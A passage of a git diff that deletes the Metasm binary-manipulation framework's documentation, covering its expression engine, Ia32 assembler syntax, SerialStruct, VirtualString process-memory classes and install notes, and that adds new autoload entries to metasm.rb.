"1 + var" - Expression.parse_string!(str) # => Expression[1, :+, "var"] - str = "42 bla" - Expression.parse_string!(str) # => Expression[42] - str # => "bla" - -Use `parse_string` without the ! to parse the string without updating it. - -External variables ------------------- - -The `externals` method will return all non-integer members of the Expression. - - Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"] - - -Pattern matching ----------------- - -The `match` method allows to check an Expression against a pattern without -having to check individual members. The pattern should be an Expression, -whose variable members should be Strings or Symbols, which are also passed as -arguments to the match function. On successful match, the correspondance -between variable patterns and their actual value matched is returned as a Hash. - - Expression[1, :+, 2].match(Expression['var', :+, 2], 'var') - # => { 'var' => 1 } - Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var') - # => nil - Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op) - # => { 'var' => 1, :op => :+ } - - -Reduction ---------- - -Metasm Expressions include a basic symbolic computation engine, that allows -some simple transformations of the Expression. The reduction will also -compute numerical values whenever possible. If the final result is fully -numeric, an Integer is returned, otherwise a new Expression is returned. - -In this context, the special value `:unknown` has a particular meaning. - - Expression[1, :+, 2].reduce - # => 3 - Expression[:eax, :+, [:ebx, :-, :eax]].reduce - # => Expression[:ebx] - Expression[1, :+, [:eax, :+, 2]].reduce - # => Expression[:eax, :+, 3] - Expression[:unknown, :+, :eax].reduce - # => Expression[:unknown] - -The symbolic engine operates mostly on addition/substractions, and -no-operations (eg shift by 0). It also handles some boolean composition. - -The detail can be found in the #replace_rec method body, in `metasm/main.rb`. - -The reduce method can also take a block argument, which will be called at -every step in the recursive reduction, for custom operations. If the block -returns nil, the result is unchanged, otherwise the new value is used as -replacement. For exemple, if you operate on 32-bit values and want to get rid -of `bla & 0xffffffff`, use - - some_expr.reduce { |e| - if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff - e.lexpr - end - } - - -Binding -------- - -An expression involving variable externals can be bound using a Hash. This will -replace any occurence of a key of the Hash by its value in the expression -members. The `bind` method will return a new Expression with the substitutions, -and the `bind!` method will update the Expression in-place. - - Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce - # => 12 - Expression[:eax, :+, :ebx].bind(:ebx => 42) - # Expression[:eax, :+, 42] - Expression[:eax, :+, :ebx].bind(:ebx => :ecx) - # Expression[:eax, :+, :ecx] - -You can use Expressions as keys, but they will only be used on perfect matches. - - -Binary packing --------------- - -Encoding -######## - -The `encode` method will generate an EncodedData holding the expression, either -as binary if it can reduce to an integral value, or as a relocation. -The arguments are the relocation type and the endianness, plus an optional -backtrace (to notify the user where an overflowing relocation comes from). - -The `encode_imm` class method will generate a raw String for a given -integral value, a type and an endianness. -The type can be given as a byte size. - - Expression.encode_imm(42, :u8, :little) # => "*" - Expression.encode_imm(42, 1, :big) # => "*" - Expression.encode_imm(256, :u8, :little) # raise EncodeError - -On overflows (value cannot be encoded in the bit field) an EncodeError -exception is raised. - -Decoding -######## - -The `decode_imm` class method can be used to read a binary value into an -Integer, with an optional offset into the binary string. - - Expression.decode_imm("*", :u8, :little) # => 42 - Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2 - - -Arithmetic coercion -------------------- - -Expression implement the `:+` and `:-` ruby methods, so that `expr + 4` -works as expected. The result is reduced. - - -Integer methods ---------------- - -The Expression class offers a few methods to work with integers. - -make_signed -########### - -`make_signed` will convert a raw unsigned to its equivalent signed value, -given a bit size. - - Expression.make_signed(1, 16) # => 1 - Expression.make_signed(0xffff, 16) # => -1 - - -in_range? -######### - -`in_range?` can check if a given numeric value would fit in a particular - field. The method can return true or false if it -fits or not, or `nil` if the result is unknown (eg the expr has no numeric -value). - - Expression.in_range?(42, :i8) # => true - Expression.in_range?(128, :i8) # => false - Expression.in_range?(-128, :i8) # => true - Expression.in_range?(Expression['bla'], :u32) # => nil - diff --git a/lib/metasm/doc/core/GNUExports.txt b/lib/metasm/doc/core/GNUExports.txt deleted file mode 100644 index e50800afe7..0000000000 --- a/lib/metasm/doc/core/GNUExports.txt +++ /dev/null @@ -1,27 +0,0 @@ -GNUExports -========== - -This class is defined in `metasm/os/gnu_exports.rb` - -It defines an `EXPORT` constant, a Hash, whose keys -are the standard linux API symbol names, and values -are the library name where you can find this symbol. - -The equivallent for windows is - -Usage ------ - -The main usage of this class is the automatic generation -of the dynamic tag `DT_NEEDED` from the -external symbols referenced by a binary during compilation. - -This is done in the `automagic_symbols` method. - -Symbols -------- - -The current version holds the symbols of the debian -glibc, from `libc.so.6` and `libdl.so.2`. - -Ruby symbols are also defined, from `libruby1.8.so.1.8`. diff --git a/lib/metasm/doc/core/Ia32.txt b/lib/metasm/doc/core/Ia32.txt deleted file mode 100644 index 3316d17106..0000000000 --- a/lib/metasm/doc/core/Ia32.txt +++ /dev/null @@ -1,234 +0,0 @@ -Ia32 -==== - -The Ia32 architecture, aka *Intel_x86*, is the most advanced among the -architectures implemented in the framework. It is a subclass of the -generic . - -It can handle binary code for the 16 and 32bits modes of the processor. - -It is a superclass for the object, a distinct processor -that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*) - -The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix -if bigendian) - -Opcodes -------- - -The opcodes list can be customized to match that available on a specific -version of the processor. The possibilities are: - -* 386_common -* 386 -* 387 -* 486 -* pentium -* p6 -* 3dnow -* sse -* sse2 -* sse3 -* vmx -* sse42 - -Most opcodes are available in the framework, with the notable exception of: - -* most sse2 simd instructions -* the AVX instructions -* amd-specific instructions - -The `386_common` family is the subset of 386 instruction that are most -commonly found in standard usermode programs (no `in`/`out`/bcd -arithmetic/far call/etc). -This can be useful when manipulating stuff that in not known to be i386 -binary code. - - -Initialization --------------- - -An Ia32 object can be created using the following code: - - Metasm::Ia32.new - -The `X86` alias may be used in place of `Ia32`. - -The constructor accepts optional arguments to specify the CPU size, the -opcode family, and the endianness of the processor. The arguments can -be given in any order. For exemple, - - Metasm::Ia32.new(16, 'pentium', :big) - -will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family, -in big-endian mode. - -The Ia32 initializer has the convenience feature that it will create an -X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an -X86_64 instance) - - -Assembler ---------- - -The parser handles only Intel-style asm syntax, *e.g.* - - some_label: - mov eax, 10h - mov ecx, fs:[eax+16] - push dword ptr fs:[1Ch] - call ecx - test al, al - jnz some_label - ret - fmulp ST(4) - - -Instruction arguments -##################### - -The parser recognizes standard registers, such as - -* `eax` -* `ah` -* `mm4` (mmx 64bit register) -* `xmm2` (xmm 128bit register) -* `ST` (current top of the FPU stack) -* `ST(3)` (FPU reg nr.3) -* `cs` (segment register) -* `dr3` (debug register) -* `cr2` (control register) - -It also supports inexistant registers, such as - -* `cr7` -* `dr4` -* `segr6` (segment register nr.6) - -The indirections are called `ModRM`. They take the form: - -* `[eax]` (memory pointed by `eax`) -* `byte ptr [eax]` (1-byte memory pointed by `eax`) -* `byte [eax]` (same as previous) -* `fs:[eax]` (offset `eax` from the base of the `fs` segment) -* `[fs:eax]` (same as previous) - -The pointer itself can be: - -* `[eax]` (any register) -* `[eax+12]` (base + numeric offset) -* `[eax+ebx]` (base + register index) -* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index) -* `[eax + 2*ebx + 42]` (both) - -Note that the form base + s*index cannot use `esp` as index with s != 1. - -For indirection sizes, the size is taken from the size of other arguments -if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]` -will be 1). The explicit size specifier can be: - -* `byte` (8bits) -* `word` (16) -* `dword` (32) -* `qword` (64) -* `oword` (128) -* `_12bits` (12, arbitrary numbers can be used) - - -Parser commands -############### - -The following commands are recognized in an asm source: - -* `.mode` -* `.bits` - -They are synonymous, and serve to change the mode of the processor to either -16 or 32bits. - -They should be the first instruction in the source, changing the mode during -parsing is not supported. This would change only the mode for the next -instructions to be parsed, and for all instructions (incl. those already parsed -at this point) when encoding, which is likely **not** what you want. See the -`codeXX` prefixes. - -Note that changing the CPU size once it was created may have bad side-effects. -For exemple, some preprocessor macros may already have been generated according -to the original size of the CPU and will be incorrect from this point on. - - -Prefixes -######## - -The following prefixes are handled: - -* `lock` -* `rep`, `repz`, `repnz`, `repe`, `repne` -* `code16`, `code32` - -The `repXX` prefixes are for string operations (`movsd` etc), but will be set -for any opcode. Only the last of the family will be encoded. - -The `code16` will generate instructions to be run on a CPU in 16bit mode, -independantly of the global CPU mode. For exemple, - - code16 mov ax, 42h - -will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or -run incorrectly on an 32bit CPU. - -The encoder also has code to handle `jmp hints` prefixes, but the parser has -no equivalent prefix support. - -There is currently no way to specify a segment-override prefix for instruction -not using a ModRM argument. Use a `db 26h` style line. - - -Suffixes -######## - -The parser implements a specific feature to allow the differenciation of -otherwise ambiguous opcodes, in the form of instruction suffixes. - -By default, the assembler will generate the shortest encoding for a given -instruction. To force encoding of another form you can add a specific -suffix to the instruction. In general, metasm will use e.g. register sizes -when possible to avoid this kind of situations, but with immediate-only -displacement this is necessary. - - or.a16 [1234h], eax ; use a 16-bit address - or [bx], eax ; use a 16-bit address (implicit from the bx register) - or eax, 1 ; "\x83\xc8\x01" - or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding) - or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field) - movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di]) - push.i16 42h ; push a 16-bit integer - -The suffixes are available as follow: - -* if the opcode takes an integer argument that can be encoded as either a 8bits or bits, the `.i` and `.i8` variants are created -* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created -* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created - - -C parser --------- - -The Ia32 C parser will initialize the type sizes with the `ilp32` memory -model, which is: - -* short = 16bits -* int = 32bits -* long = 32bits -* long long = 64bits -* pointer = 32bits - -In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits -compiler has not been tested anyway). - -The following macros are defined (in the asm preprocessor too) - -* `_M_IX86` = 500 -* `_X86_` -* `__i386__` - diff --git a/lib/metasm/doc/core/SerialStruct.txt b/lib/metasm/doc/core/SerialStruct.txt deleted file mode 100644 index c4ce128743..0000000000 --- a/lib/metasm/doc/core/SerialStruct.txt +++ /dev/null @@ -1,108 +0,0 @@ -SerialStruct -============ - -This is a helper class to handle binary packed data, especially to -represent structures. - -The implementation is in `metasm/exe_format/serialstruct.rb`. - -Basics ------- - -The class defines some class methods, such as: - -* `dword` -* `byte` -* `strz` - -These methods can be used directly in subclass definitions, e.g. - - class MyHeader < SerialStruct - dword :signature - dword :length - end - -This will associate the sequence of fields to this structure, which -is used in the `#encode` and `#decode` methods. -These methods rely on an instance to define -the corresponding `decode_dword` and `encode_dword` methods. - -You can then simply call: - - hdr = MyHeader.decode(myexefmt) - -which will call `myexefmt.decode_word` twice to populate the -`signature` and `length` fields of the MyHeader.instance. - -You can also redefine the `#decode` method to handle special cases. - - -The fields defined this way can be assigned a default value that -will be used when encoding the structure. The syntax is: - - dword :fieldname, defaultvalue - -If you have a long sequence of identically-typed fields, you can use -the plural form: - - dwords :f1, :f2, :f3, :f4 - -To define your own field types, you should create a new subclass and call the -`new_field` class method. For integral fields, use `new_int_field(fldname)` -that will automatically define the decode/encode routines, and create the -plural form. - - class MyStruct < SerialStruct - new_int_field :zword - zwords :offset, :length - end - - -Symbolic constants ------------------- - -The class has built-in support for symbolic constants and bit fields. - -For exemple, suppose you have a numeric `:type` field, which corresponds -to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use: - - TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' } - - dword :type - fld_enum :type, TYPES - -With this, the standard '#decode' method will first decode the numeric value -of the field, and then lookup the value in the enum hash to find the -corresponding symbol, and use it as the field value. -If there is no mapping, the numeric value is retained. The reverse operation -is done with `#encode`. - -For the bitfields, the method is `fld_bits`, and the software will try to -match *OR-ed* values from the bitfield to generate an array of symbols. - - BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' } - - dword :foo - fld_bits :foo, BITS - -which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]` - -The hashes used for fld_bits or fld_enum can be dynamically determined, by -using the block version of those methods. The block will receive the ExeFormat -instance and the SerialStruct instance, and should return the Hash. -This can be useful when a bitfield signification varies given some generic -property of the exe, eg the target architecture. - - -Hooks ------ - -It is also possible to define a hook that will be called at some point during -the object binary decoding. It will receive the exe and struct instances. - - class Header < SerialStruct - dword :machine - decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 } - dword :bodylength - end - diff --git a/lib/metasm/doc/core/VirtualString.txt b/lib/metasm/doc/core/VirtualString.txt deleted file mode 100644 index 01f8fe5b80..0000000000 --- a/lib/metasm/doc/core/VirtualString.txt +++ /dev/null @@ -1,145 +0,0 @@ -VirtualString -============= - -This class is an abstract representation of an arbitrary sized byte array -with methods to load parts of it on demand. It is useful to represent -a program virtual memory and allow metasm to work on it while only reading -bytes from it when actually needed. - -The base class is defined in `metasm/os/main.rb`. - - -Basics ------- - -The API of the object is designed to be compatible with a standard String (ASCII-8BIT). -The main restriction is that the size of this string cannot be changed: -concatenation / shortening is not supported. - -The main operation on the object should be `[]` and `[]=`, that is, -reading some subpart of the string, or overwriting some substring. -The arguments are the same as for a String, with the exception that -rewrite raises an IndexError if the rewriting would change the string -length. - -A few methods are written specifically with the VirtualString semantics, -others are redirected to a temporary real String generated with `realstring`. - -The VirtualString works with a `page` concept, that represents some arbitrary -chunks of data that can be actually read from the underlying target, e.g. a -memory page (4096 bytes) when mapping a process virtual address space. -Instances get to define a `pagelength` sound for the specific implementation. - -Whenever a substring is requested from a VirtualString, if the substring -length is less than the page size, an actual read is made and a String is -returned. - -If the length is greater however, a new VirtualString is created to map this -new *view* without actually reading. - -To force the conversion to a String, use the `realstring` or `to_str` method. -The latter is prefered, as it works on both Strings and VirtualStrings. - -To force the creation of a new VirtualString, use the `dup(start, len)` method. - -When reading actual bytes, a local page cache is used. By default is has only 4 -pages, and can be invalidated using `invalidate`. -The cache is automatically invalidated when part of the string is written to. - -The VirtualString may index *invalid* pages (e.g. unmapped memory range in a -process address space) ; you can check that with `page_invalid?` with an index -as parameter. - - -Creation --------- - -To create your own flavor of VirtualString, you must: - -* define your subclass that inherits from `VirtualString` -* define your initializer, that takes whatever arguments make sense (e.g. a -*pid*, *handle*, Socket..) -* your initializer must call super(a, l) with arguments: -** current view absolute address (should default to 0), will be saved in -`@addr_start` -** current view size (should default to something sensible, like 1<<32), saved -in `@length` -* your initializer can override the default page size by defining the -`@pagelength` variable. -* implement a `dup` method that takes optional arguments: -** new base address (default=`@addr_start`) -** new length (default=`@length`) -** returns a new instance of your class mapping over the specified window -* implement a `get_page` method, whose arguments are: -** absolute page address (will always be page-aligned) -** optional length, default=`@pagelength` -** returns a String of `length` bytes, or `nil` (e.g. unmapped area) -* optionally implement a `rewrite_at` method, to make your string writeable. -Arguments are the absolute write address, and the data to write there (a String). - -Feel free to override any other method with an optimized version. -For exemple, the default `realstring` will repeatadly call `get_page` with -each page in the range 0..`length`, you may have a more efficient alternative. - -You can alter the cache size by rewriting the `@pagecache_len` variable -**after** calling `super()` in `initialize`. The default value is 4, which you -may want to increase. - -See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid` -method). - -Standard subclasses -------------------- - -VirtualFile -########### - -Defined in `metasm/os/main.rb`. - -This class maps over an open file descriptor, and allows reading data on-demand. -It implements the `read` class method, similar to `File.read`, with the -file opened in binary mode. For a small file (<=4096), the content is -directly returned, otherwise a VirtualString is created. - -This class is used by the default `decode_file[_header]` -methods. - - -LinuxRemoteString -################# - -Defined in `metasm/os/linux.rb`. - -This class maps over the virtual memory of a Linux process. -Accesses are done through the `/proc//mem` for reading. -The linux kernel requires that the target process be ptraced before we can -read this file, so the object will use the debugger instance passed to the -constructor, or create a new object to stop the process -and read its memory during `get_page`. - -If a object was given, `get_page` will return `nil` if the -debugger indicates that the target is not stopped. - -Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`. - - -WindowsRemoteString -################### - -Defined in `metasm/os/windows.rb`. - -This class maps over the virtual memory of a Windows process. - -The memory accesses are done using the `Read/WriteProcessMemory` API. - -The class method `open_pid` is defined, that will try to `OpenProcess` -first in read/write, and fallback to read-only mode. - - -GdbRemoteString -############### - -Defined in `metasm/os/remote.rb`. - -Maps over the virtual memory of a remote process debugged with a - instance, using `setmem` and `getmem`. diff --git a/lib/metasm/doc/core/WindowsExports.txt b/lib/metasm/doc/core/WindowsExports.txt deleted file mode 100644 index f483e77167..0000000000 --- a/lib/metasm/doc/core/WindowsExports.txt +++ /dev/null @@ -1,61 +0,0 @@ -WindowsExports -============== - -This class is defined in `metasm/os/windows_exports.rb` - -It defines an `EXPORT` constant, a Hash, whose keys -are the standard win32 API symbol names, and values -are the library name where you can find this symbol. - -The equivalent for GNU/Linux is - -Usage ------ - -The main usage of this class is the automatic generation -of the import directories from the -external symbols referenced by a binary during compilation. - -This is done in the `automagic_symbols` method. - -Symbols -------- - -The current version holds the symbols available in the -Windows XP SP2 32-bit standard libraries: - -* `ntdll` -* `kernel32` -* `user32` -* `gdi32` -* `advapi32` -* `ws2_32` -* `msvcrt` -* `comdlg32` -* `psapi` - - -Ruby symbols are also defined, from `msvcrt-ruby18`. - - -Ruby library name ------------------ - -On creation, the current ruby library name is inferred -from the `RUBY_PLATFORM` constant, in an effort to -try to use the available ruby library filename. - -The only transformation supported now is to rewrite -the ruby version number appearing in the filename for -msvcrt-compiled binaries, so that you get the correct -`msvcrt-ruby192` name for exemple under ruby1.9. - -This is implemented in the `patch_rubylib_to_current_interpreter` -method (which is aptly named). - -Warning -####### - -Note that binaries compiled this way will not work on -other machines where the exact same library is unavailable. - diff --git a/lib/metasm/doc/core/index.txt b/lib/metasm/doc/core/index.txt deleted file mode 100644 index ba60d4c253..0000000000 --- a/lib/metasm/doc/core/index.txt +++ /dev/null @@ -1 +0,0 @@ -See diff --git a/lib/metasm/doc/core_classes.txt b/lib/metasm/doc/core_classes.txt deleted file mode 100644 index a39c38fa3e..0000000000 --- a/lib/metasm/doc/core_classes.txt +++ /dev/null @@ -1,75 +0,0 @@ -Core classes -============ - -Core ----- - -* -* -* -* -* - -CPUs ----- - -* -* -* -* -* -* - -ExeFormats ----------- - -* -* -* - -* -* -* -* - -C ----- - -* -* -* - -Debugger --------- - -* -* -* -* -* -* -* - -Disassembler ------------- - -* -* -* -* -* - -GUI ----- - -* -* -* - -* -* - -Others ------- - -* diff --git a/lib/metasm/doc/feature_list.txt b/lib/metasm/doc/feature_list.txt deleted file mode 100644 index 26e7c5b02a..0000000000 --- a/lib/metasm/doc/feature_list.txt +++ /dev/null @@ -1,53 +0,0 @@ -Metasm feature list -=================== - -Metasm is a cross-architecture assembler, disassembler, compiler, linker and debugger. - -See - -Architectures -------------- - -It is written in such a way that it is easy to add support for new architectures. -For now, the following architectures are in: - -* Intel (16 and 32bits) -* Intel (*aka* Ia32 64bits, X64, AMD64) -* MIPS -* PowerPC -* Sh4 - -The developpement is generally more focused on Ia32 and X86_64. - - -File formats ------------- - -The following executable file formats are supported: - -* (raw binary) -* / (32/64bits) -* (32/64bits) - -Those are supported in a more limited way: - -* Mach-O, UniversalBinary -* MZ -* A.out -* XCoff -* NDS - - -Features --------- - -The framework includes - -* a graphical -* a graphical -* low and high-level debugging support (Ia32 only for now) under Windows, Linux and remote (via a GdbServer) -* an advanced disassembler engine, with limited emulation support -* a full (with preprocessor) -* an experimental (Ia32 only) -* an experimental (Ia32 only) - diff --git a/lib/metasm/doc/index.txt b/lib/metasm/doc/index.txt deleted file mode 100644 index 8cd8f8fecb..0000000000 --- a/lib/metasm/doc/index.txt +++ /dev/null @@ -1,59 +0,0 @@ -The Metasm framework documentation -================================== - -Metasm ------- - -The Metasm framework is an opensource software designed to interact with -the various forms of binary code. It is written in pure Ruby -(). - -More detailed informations can be found in the . - -It is distributed freely under the terms of the LGPL. - -Documentation organisation --------------------------- - -This documentation is split in different parts : - -* the -* the major -* - -The first part describes the internal structure of the framework, the -second part is a higher level overview of the software and shows how -the various parts are used and can interract. The last part explains -the role of the source files and directories. - - -Documentation progress ----------------------- - -The documentation is written here and there in my free time, and is **very** -**incomplete** as of now. Specifically, all internal links you'll find -ending in `.txt` are link to pages that have not been written yet. - - -Install notes -------------- - -See the - -Authors -------- - -Metasm is mostly written by Yoann Guillot. - -Some parts were added by various contributors, including : -* Julien Tinnès -* Raphaël Rigo -* Arnaud Cornet -* Alexandre Gazet - -Contact -------- - -The latest version of this documentation can be found on the Metasm site: - -Patches, bug reports, feature requests should be sent to metasm@cr0.org diff --git a/lib/metasm/doc/install_notes.txt b/lib/metasm/doc/install_notes.txt deleted file mode 100644 index c881f9ac58..0000000000 --- a/lib/metasm/doc/install_notes.txt +++ /dev/null @@ -1,170 +0,0 @@ -Metasm installation notes -========================= - -Metasm is a pure ruby lib, and the core (`metasm/` subdir) does not depend on any -ruby library (except the `metasm/gui`, which may use `gtk2`). - -So the install is quite simple. - - -Download --------- - -Metasm is distributed using the `mercurial` source control system. - -The recommanded way to install is to use that tool, so you can always be -up-to-date with the latest developpements. - -You will also need the Ruby interpreter (version 1.8 and 1.9 are supported). - -Linux -##### - -Issue the following commands to install the `mercurial` and `ruby` software - - sudo apt-get install ruby - sudo apt-get install mercurial - -Then download metasm with - - hg clone http://metasm.cr0.org/hg/metasm/ - -This will create a new directory `metasm/` with the latest version of the -framework. - - -Windows -####### - -The ruby website offers many ruby packages. The *RubyInstaller* should -work fine. Go to , under the -`Ruby on Windows` section. - -The `mercurial` website has links to various installers: - -Choose one, then use the `clone repository` command with the following -url: - - http://metasm.cr0.org/hg/metasm/ - -This will create a new subdirectory `metasm/` with the latest version of -the framework. - - -Upgrading ---------- - -To upgrade to the latest and greatest version, launch a shell prompt and -navigate to the metasm directory, then issue: - - hg pull -u - -which will upgrade your installation to the latest available version. - -With `TortoiseHG`, simply issue the `upgrade` command on the `metasm` -directory. - - -Local installation ------------------- - -If you simply want to install metasm for your personnal usage (VS a -system-wide installation), follow these steps. - -Download the metasm source files under any directory, then update the -environment variable `RUBYLIB` to include this path. The path you add -should be the directory containing the `metasm.rb` script and the `metasm/`, -`samples/`, `doc/` subdirectories. - -If `RUBYLIB` is empty or non-existant, simply set its value to the directory, -otherwise you can append the path to an existing list by separating the values -with a `:` such as: - - RUBYLIB='/foo/bar:/home/jj/metasm' - -Linux -##### - -Under linux or cygwin, this is done by modifying your shell profile, e.g. -`~/.bash_profile`, by adding a line such as: - - export RUBYLIB='/home/jj/metasm' - -You may need to restart your session or start a new shell for the changes -to take effect. - -Windows -####### - -The environment variables can be set through : - -* rightclick on `my computer` -* select tab `advanced` -* click `environment variables` - -If a line RUBYLIB exists, add `;C:\path\to\metasm` at the end, otherwise -create a new variable `RUBYLIB` with the path as value. - -You may need to restart your session for the changes to take effect. - - -Systemwide installation ------------------------ - -For a systemwide installation, you should create a `metasm.rb` file in the `site_ruby` -directory (that would be `/usr/lib/ruby/1.8/` under linux, or `C:\apps\ruby\lib\ruby\1.8\` -for windows users) with the content - - # if metasm.rb can be found in /home/jj/metasm/metasm.rb - require '/home/jj/metasm/metasm' - - -Testing -------- - -Open a new shell session and type - - ruby -r metasm -e "p Metasm::VERSION" - -It should print a single line with a (meaningless) number in it. - - -Gui ----- - -If you intend to use the graphical user-interface (debugger/disassembler), -if you are under Windows with a 32bit x86 ruby, this should work out of the -box. In any other case, you'll need the `ruby-gtk2` library. - -Linux -##### - -Under linux, use your package manager to install `ruby-gtk2`, e.g. for -Debian/Ubuntu, type: - - sudo apt-get install libgtk2-ruby - - -Windows -####### - -If you run a 32bit Ia32 ruby interpreter (check that `ruby -v` returns -something like `[i386-mswin32]`), the Gui should work right away without -`gtk2`, so go directly to the `Testing` part. - -Otherwise, you'll need to install the `gtk2` libs and the ruby bindings -manually. Please follow the instructions at - - - -Testing -####### - -To test the correct working of the Gui, simply launch the -`samples/disassemble-gui.rb` script found in the metasm directory -(double-click on the script, or type `ruby samples/disassemble-gui.rb` at -a command prompt). It should display a window with a menu, and should -answer to a `ctrl-o` keystroke with an `open binary file` dialog. - -See the for more information. - diff --git a/lib/metasm/doc/style.css b/lib/metasm/doc/style.css deleted file mode 100644 index 29402b52cd..0000000000 --- a/lib/metasm/doc/style.css +++ /dev/null @@ -1,3 +0,0 @@ -span.quote { - font-family: monospace; -} diff --git a/lib/metasm/doc/usage/index.txt b/lib/metasm/doc/usage/index.txt deleted file mode 100644 index bdacd7cef9..0000000000 --- a/lib/metasm/doc/usage/index.txt +++ /dev/null @@ -1 +0,0 @@ -See diff --git a/lib/metasm/doc/use_cases.txt b/lib/metasm/doc/use_cases.txt deleted file mode 100644 index 8b5b05bac8..0000000000 --- a/lib/metasm/doc/use_cases.txt +++ /dev/null @@ -1,18 +0,0 @@ -Metasm use cases -================ - -Metasm is intended to be a binary manipulation toolbox. -There are quite a lot of possible usages that can be derived from the -. - -The major would be related to: - -* the scriptable -* the (with the optionnal ) -* the -* the -* the -* the facilities - -and various interaction between those. - diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb index 122c87b62c..81c3d40aea 100644 --- a/lib/metasm/metasm.rb +++ b/lib/metasm/metasm.rb @@ -15,6 +15,7 @@ module Metasm Const_autorequire_equiv = { 'X86' => 'Ia32', 'PPC' => 'PowerPC', 'X64' => 'X86_64', 'AMD64' => 'X86_64', + 'MIPS64' => 'MIPS', 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', 'DEY' => 'DEX', 'PTrace' => 'LinOS', 'FatELF' => 'ELF', @@ -32,8 +33,9 @@ module Metasm # files to require to get the definition of those constants Const_autorequire = { - 'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm', - 'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik', + 'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm', + 'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc', + 'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf', 'C' => 'compile_c', 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', @@ -41,10 +43,15 @@ module Metasm 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', 'DEX' => 'exe_format/dex', 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', + 'GameBoyRom' => 'exe_format/gb', 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', + 'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass', + 'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip', + 'Shellcode_RWX' => 'exe_format/shellcode_rwx', 'Gui' => 'gui', 'WindowsExports' => 'os/windows_exports', 'GNUExports' => 'os/gnu_exports', + 'Debugger' => 'debug', 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', 'GdbClient' => 'os/remote', 'Disassembler' => 'disassemble', diff --git a/lib/metasm/metasm/arm/opcodes.rb b/lib/metasm/metasm/arm/opcodes.rb deleted file mode 100644 index 4055c2297c..0000000000 --- a/lib/metasm/metasm/arm/opcodes.rb +++ /dev/null @@ -1,177 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/arm/main' - -module Metasm -class ARM - private - def addop(name, bin, *args) - args << :cond if not args.delete :uncond - - o = Opcode.new name, bin - o.args.concat(args & @valid_args) - (args & @valid_props).each { |p| o.props[p] = true } - args.grep(Hash).each { |h| o.props.update h } - - # special args -> multiple fields - case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first - when :i8_r; args << :i8 << :rotate - when :rm_is; args << :rm << :stype << :shifti - when :rm_rs; args << :rm << :stype << :rs - when :mem_rn_rm; args << :rn << :rm << :rsx << :u - when :mem_rn_i8_12; args << :rn << :i8_12 << :u - when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u - when :mem_rn_i12; args << :rn << :i12 << :u - end - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] - } - - @opcode_list << o - end - - def addop_data_s(name, op, a1, a2, *h) - addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h - addop name, op, a1, a2, :rm_is, *h - addop name, op | (1 << 4), a1, a2, :rm_rs, *h - end - def addop_data(name, op, a1, a2) - addop_data_s name, op << 21, a1, a2 - addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length - end - - def addop_load_puw(name, op, *a) - addop name, op, {:baseincr => :post}, :rd, :u, *a - addop name, op | (1 << 24), :rd, :u, *a - addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a - end - def addop_load_lsh_o(name, op) - addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} - addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} - end - def addop_load_lsh - op = 9 << 4 - addop_load_lsh_o 'strh', op | (1 << 5) - addop_load_lsh_o 'ldrd', op | (1 << 6) - addop_load_lsh_o 'strd', op | (1 